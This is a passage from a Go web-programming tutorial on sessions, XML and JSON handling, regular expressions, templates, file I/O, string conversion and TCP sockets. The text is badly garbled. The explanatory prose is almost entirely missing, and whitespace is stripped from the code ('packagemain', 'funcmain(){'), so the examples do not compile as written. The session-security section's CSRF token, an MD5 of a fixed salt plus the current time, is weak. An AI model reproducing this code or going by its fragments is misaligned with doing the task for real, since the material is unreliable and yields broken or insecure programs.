sessioninitsession
import("github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")
importmemoryinitsessionsession
varglobalSessions*session.Manager
//initfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()
}
links
: Gosession: session
6.4 sessionsessionsessionsession.
session
session
count
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
count.gtpl
Hi.Nowcount:{{.}}
6.4count
6(chromecookie
6.5cookie
:(firefox),chromefirefoxcookiecookiecookiefirefox:
6.6cookie
6.7session
sessionIDcookiefirefoxchromegoservergosessionid“”goserverhttpgosessionidHTTPgosessionidchrome“”sessionchrome“”
session
cookieonly token
sessionsessionsession
sessionIDcookieURLcookiehttponlytrue,cookiecookieXSSsessioncookieURLsessionID
tokenformtokentoken
h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//}sess.Set("token",token)
SID
sessionsessionIDsessionsession
createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}
sessionsessionID(60)IDsessionID
session sessionIDsessionIDsessionIDcookiehttponlyURLXSSsessionIDMaxAge=0sessioncookie
links
: session:
6.5sessioncookieGosessionsessionsessionProvidersessionsessionsessionsessionsesisonsession
links
: session:
7WebJsonXMlGoGoGo
XMLJavawebserverXML7.1XMLXMLAPIJSON7.2JSON7.3GoWebMVCGoWebV
links
:: XML
7.1XMLXMLWebXMLGoXML
XMLGoXML
xml
<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server>
<server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
XMLIPGoXML
XML
XMLxml Unmarshal
funcUnmarshal(data[]byte,vinterface{})error
dataXMLvinterfaceXMLstructstructXML
packagemain
import("encoding/xml""fmt""io/ioutil""os")
typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}
typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`
ServerIPstring`xml:"serverIP"`}
funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}
fmt.Println(v)}
XMLgostructxml.Unmarshalxmlstruct
{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}
xmlstruct xml.Unmarshalstruct xml:"serverName",structstruct
tag Unmarshal
funcUnmarshal(data[]byte,vinterface{})error
XMLstructslicestringXMLv UnmarshalXMLstructtagtagXML
GotagXMLstructstructtagreflect
XMLstruct
structstring[]bytetag",innerxml"UnmarshalxmlDescription
<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>
structXMLNamexml.Nameelement,serversstructtagXMLelementelementservernameserveripstructtag",attr"elementversionstructtag "a>b>c",xmlabcstructtag"-",xmlstructtag",any"XMLtag",comments"[]bytestring,
structtagtagXMLtagXMLelementslice
goxmlstruct
XML
XMLgoxml MarshalMarshalIndent
funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)
XMLXML
XML
packagemain
import("encoding/xml""fmt""os")
typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}
typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}
funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}
os.Stdout.Write([]byte(xml.Header))
os.Stdout.Write(output)}
<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
os.Stdout.Write([]byte(xml.Header)) xml.MarshalIndentxml.MarshalXMLxmlxmlHeader
Marshalvinterface{}xmlXML
varrayslice valuevMarshalvinterfaceinterfacev
XMLelementstruct
vstructXMLNametagxml.NameXMLNamestructtagstructmarshall
structtagxml
XMLNametag"-"tag"name,attr"nameXMLversiontag",attr"structXMLnametag",chardata"xmlcharacterdataelementtag",innerxml"tag",comment"xml"--"tag"omitempty",XMLfalse0nilnil0array,slice,mapstringtag"a>b>c"abbc
FirstNamestring`xml:"name>first"`LastNamestring`xml:"name>last"`
<name><first>Asta</first><last>Xie</last></name>
Goxml/XMLXMLstructtagstructtagtagtag
links
:: Json
7.2JSONJSONJavascriptObjectNotationJSONJavascriptJSONCJSONXMLXMLJSONJSONXML,,JSONJSONWebGoJSONGoJSONJSON
json
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
JSONgojsonJSON
JSON
JSONJSONGoJSON
funcUnmarshal(data[]byte,vinterface{})error
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){
varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}
jsonsliceJSONKEYjsonstructJSONkey Foo
tagFoostruct()Foo
FOOFoO
(JSONJSON
interface
JSON
interface{}jsonJSONmap[string]interface{}[]interface{}JSONGoJSON
boolJSONbooleans,float64JSONnumbers,stringJSONstrings,nilJSONnull.
JSON
b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
interface{}
varfinterface{}err:=json.Unmarshal(b,&f)
fmapkeystringinterface{}
f=map[string]interface{}{"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}
m:=f.(map[string]interface{})
fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}
default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}
interface{}typeassertJSON
bitly simplejson,JSON
js,err:=NewJson([]byte(`{"test":{"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))
arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()
JSON, https://github.com/bitly/go-simplejson
JSON
JSONJSON Marshal
funcMarshal(vinterface{})([]byte,error)
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}fmt.Println(string(b))}
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
JSONstructtag
typeServerstruct{ServerNamestring`json:"serverName"`
ServerIPstring`json:"serverIP"`}
typeServerslicestruct{Servers[]Server`json:"servers"`}
JSONJSON
JSONstructtag:
tag"-"JSONtagJSONserverNametag"omitempty"JSONbool,string,int,int64tag ",string"JSONJSON
typeServerstruct{//IDJSONIDint`json:"-"`
//ServerName2JSONServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`
//ServerIPJSONServerIPstring`json:"serverIP,omitempty"`}
s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)
{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}
Marshal
JSONstringkeymapmap[string]T(TGo)Channel,complexfunctionJSONJSONnull
GojsonJSON go-simplejsonWeb
links
: XML:
7.3Web,
GoregexpGoGoRE2\Chttp://code.google.com/p/re2/wiki/Syntax
strings(ContainsIndex)(Replace)(SplitJoin) strings
UTF-8Go regexp
regexptruefalse
funcMatch(patternstring,b[]byte)(matchedbool,errorerror)
funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)
patterntrueerrorbytesliceRuneReaderstring
IP
funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}returntrue}
regexppattern
funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("" )}else{fmt.Println("" )}
}
Match(Reader|String)
Match
packagemain
import("fmt""io/ioutil""net/http""regexp""strings")
funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}
src:=string(body)
//HTMLre,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)
//STYLEre,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
src=re.ReplaceAllString(src,"")
//SCRIPTre,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")
//HTMLre,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")
//re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")
fmt.Println(strings.TrimSpace(src))}
CompileRegexpRegexp
funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp
CompilePOSIXCompilePOSIXPOSIXCompile([a-z]{2,4}"aa09aaa88aaaa"CompilePOSIXaaaaCompileaa)MustpanicMust
Regexpstruct
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]st
ringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]int
func(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
18(byteslicestringio.RuneReader)
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
packagemain
import("fmt""regexp")
funcmain(){a:="IamlearningGolanguage"
re,_:=regexp.Compile("[a-z]{2,4}")
//one:=re.Find([]byte(a))fmt.Println("Find:",string(one))
//slice,n0all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)
//index,index:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)
//indexnallindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)
re2,_:=regexp.Compile("am(.*)lang(.*)")
//Submatch,()()//"amlearningGolanguage"//"learningGo"//"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}
//FindIndexsubmatchindex:=re2.FindSubmatchIndex([]byte(a))fmt.Println(submatchindex)
//FindAllSubmatch,submatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)
//FindAllSubmatchIndex,indexsubmatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}
RegexpRegexp
func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool
func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string
Expand
func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte
Expand
funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)
pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}
GoregexpGo
links
: Json:
7.4
MVCModelViewControllerViewHTMLJSP <%=....=%>PHP<?php.....?>
7.1
Web
Go
Go template ParseParseFileExecutemerge
funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//t,_=t.ParseFiles("tmpl/welcome.html",nil)//user:=GetUser()//t.Execute(w,user)//merger}
Go
ParseParseFilesParsehandlermainos.Stdouthttp.ResponseWriteros.Stdoutio.Writer
GoGo
Go{{}} {{.}}JavaC++this {{.FieldName}},(),
packagemain
import("html/template"
"os")
typePersonstruct{UserNamestring}
funcmain(){t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}
helloAstaxie
typePersonstruct{UserNamestringemailstring//}
t,_=t.Parse("hello{{.UserName}}!{{.email}}")
{{.}}fmt
{{with…}}…{{end}}{{range…}}{{end}}
{{range}}Gorange{{with}}
packagemain
import("html/template""os")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}
GoGo if-elsepipelineiffalse if-else
packagemain
import("os""text/template")
funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("pipelineifdemo:{{if``}}.{{end}}\n" ))tEmpty.Execute(os.Stdout,nil)
tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("pipelineifdemo:{{if`anything`}}.{{end}}\n" ))tWithValue.Execute(os.Stdout,nil)
tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}if{{else}}else.{{end}}\n" ))tIfElse.Execute(os.Stdout,nil)}
if-else
if.Mail=="[email protected]"ifbool
pipelines
Unixpipe ls|grep"beego""beego"GopipeGo {{}}pipelinesemailXSS
{{.|html}}
emailhtmlUnix
with``range``if {{end}}Go
$variable:=pipeline
{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}
fmt @at astaxieatbeego.me
Go
typeFuncMapmap[string]interface{}
email emailDealGoEmailDealWith,
t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})
EmailDealWith
funcEmailDealWith(args…interface{})string
packagemain
import("fmt""html/template""os""strings")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}
funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}
anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}
varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}
Must
MustMust
packagemain
import("fmt""text/template")
funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")
template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")
fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}
ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand
Web headercontentfooterGo
{{define"" }}{{end}}
{{template"" }}
header.tmplcontent.tmplfooter.tmpl
//header.tmpl{{define"header"}}<html><head><title> </title></head><body>{{end}}
//content.tmpl{{define"content"}}{{template"header"}}<h1> </h1><ul><li>define </li><li>template </li></ul>{{template"footer"}}{{end}}
//footer.tmpl{{define"footer"}}</body></html>{{end}}
packagemain
import("fmt""os"
"text/template")
funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}
template.ParseFiles{{define}}map(keyvalue)ExecuteTemplateheaderfootercontentheaderfooters1.Execute
MVCVMC
links
::
7.5Web,Web,Web,,,(),Go
os
funcMkdir(namestring,permFileMode)error
nameperm0777
funcMkdirAll(pathstring,permFileMode)error
pathastaxie/test1/test2
funcRemove(namestring)error
name
funcRemoveAll(pathstring)error
pathpath
packagemain
import("fmt""os")
funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}
funcCreate(namestring)(file*File,errError)
0666
funcNewFile(fduintptr,namestring)*File
funcOpen(namestring)(file*File,errError)
nameOpenFile
funcOpenFile(namestring,flagint,permuint32)(file*File,errError)
nameflagperm
func(file*File)Write(b[]byte)(nint,errError)
byte
func(file*File)WriteAt(b[]byte,offint64)(nint,errError)
byte
func(file*File)WriteString(sstring)(retint,errError)
string
packagemain
import("fmt""os")
funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}
func(file*File)Read(b[]byte)(nint,errError)
b
func(file*File)ReadAt(b[]byte,offint64)(nint,errError)
offb
:
packagemain
import("fmt""os")
funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}
Go
funcRemove(namestring)Error
name
links
::
7.6WebGostringsstrconv
strings
funcContains(s,substrstring)bool
ssubstrbool
fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))//Output://true//false//true//true
funcJoin(a[]string,sepstring)string
sliceasep
s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz
funcIndex(s,sepstring)int
ssep-1
fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1
funcRepeat(sstring,countint)string
scount
fmt.Println("ba"+strings.Repeat("na",2))//Output:banana
funcReplace(s,old,newstring,nint)string
soldnewn0
fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo
funcSplit(s,sepstring)[]string
ssepslice
fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))
//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]
funcTrim(sstring,cutsetstring)string
scutset
fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))//Output:["Achtung"]
funcFields(sstring)[]string
sslice
fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]
strconv
Append
packagemain
import("fmt""strconv")
funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}
Format```Go
packagemain
import("fmt""strconv")
funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}
-Parse
```Go
packagemain
import("fmt""strconv")funccheckError(eerror){ife!=nil{fmt.Println(e)
}}funcmain(){a,err:=strconv.ParseBool("false")checkError(err)b,err:=strconv.ParseFloat("123.23",64)checkError(err)c,err:=strconv.ParseInt("1234",10,64)checkError(err)d,err:=strconv.ParseUint("12345",10,64)checkError(err)e,err:=strconv.Atoi("1023")checkError(err)fmt.Println(a,b,c,d,e)}
links
::
7.7XMLJSONXMLJSONXMLJSON()Web
links
:: Web
8Web
WebHTTPXMLJSON
WebLinuxWindowsasp.netFreeBSDJSP
WebRESTSOAP
RESTRESTHTTPHTTPmethodWebHTTPREST8.3GoREST
SOAPW3CSOAPGoSOAPGoRPC8.4GoRPC
Go21C8.1SocketSocketHTTPGoSocketHTML5webSockets8.2GowebSockets
links
:: Socket
8.1Socket
SocketSocketWebQQQQQQPPstreamPPstreamSocketSocketGoSocket
Socket
SocketUnixUnix“”“open–>write/read–>close”SocketSocketI/OSocketSocketSocket()SocketSocket
SocketSocketSOCK_STREAMSocketSOCK_DGRAMSocketTCPSocketSocketUDP
Socket
SocketPIDTCP/IP“ip”“+”ipTCP/IP
8.1
TCP/IPUNIXBSDsocketUNIXSystemVTLIsocket“Socket”
Socket
SocketTCPSocketUDPSocketTCPUDPIP
IPv4
TCP/IPIPTCP/IPTCP/IPIP4(IPv4)30
IPv432232InternetIPIPIPV4IP
127.0.0.1172.122.121.111
IPv6
IPv6IPv4IPv6128IPv61000IPv6IPv4IPQoS
2002:c0e8:82e7:0:0:0:c0e8:82e7
Go IP
GonetIP
typeIP[]byte
netIP ParseIP(sstring)IPIPv4IPv6IP:
packagemainimport("net""os"
"fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}
IPIP
TCPSocket
GonetTCPConn
func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)
TCPConn
TCPAddrTCP
typeTCPAddrstruct{IPIPPortint
}
GoResolveTCPAddrTCPAddr
funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)
net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6).addrIP"www.google.com:80""127.0.0.1:22".
TCPclient
GonetDialTCPTCP TCPConn TCPConn TCPConn
funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)
net"tcp4""tcp6""tcp"TCP(IPv4-only)TCP(IPv6-only)TCP(IPv4,IPv6)laddrnilraddr
HTTPWebhttp
"HEAD/HTTP/1.0\r\n\r\n"
HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMT
Content-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23
packagemain
import("fmt""io/ioutil""net""os")
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
servicenet.ResolveTCPAddrtcpAddr,tcpAddrDialTCPTCPconnconnioutil.ReadAllconn
TCPserver
TCPnetnet
funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)
DialTCP7777
packagemain
import("fmt""net""os""time")
funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalueconn.Close()//we'refinishedwiththisclient}
}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
Accept forcontinue
Gogoroutine
packagemain
import("fmt""net""os""time")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue
//we'refinishedwiththisclient
}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
handleClient gogoroutine
packagemain
import("fmt""net""os""time""strconv""strings")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaxiumrequestlengtht
o128Btopreventfloodattackdeferconn.Close()//closeconnectionbeforeexitfor{read_len,err:=conn.Read(request)
iferr!=nil{fmt.Println(err)break}
ifread_len==0{break//connectionalreadyclosedbyclient}elseifstrings.TrimSpace(string(request[:read_len]))=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}
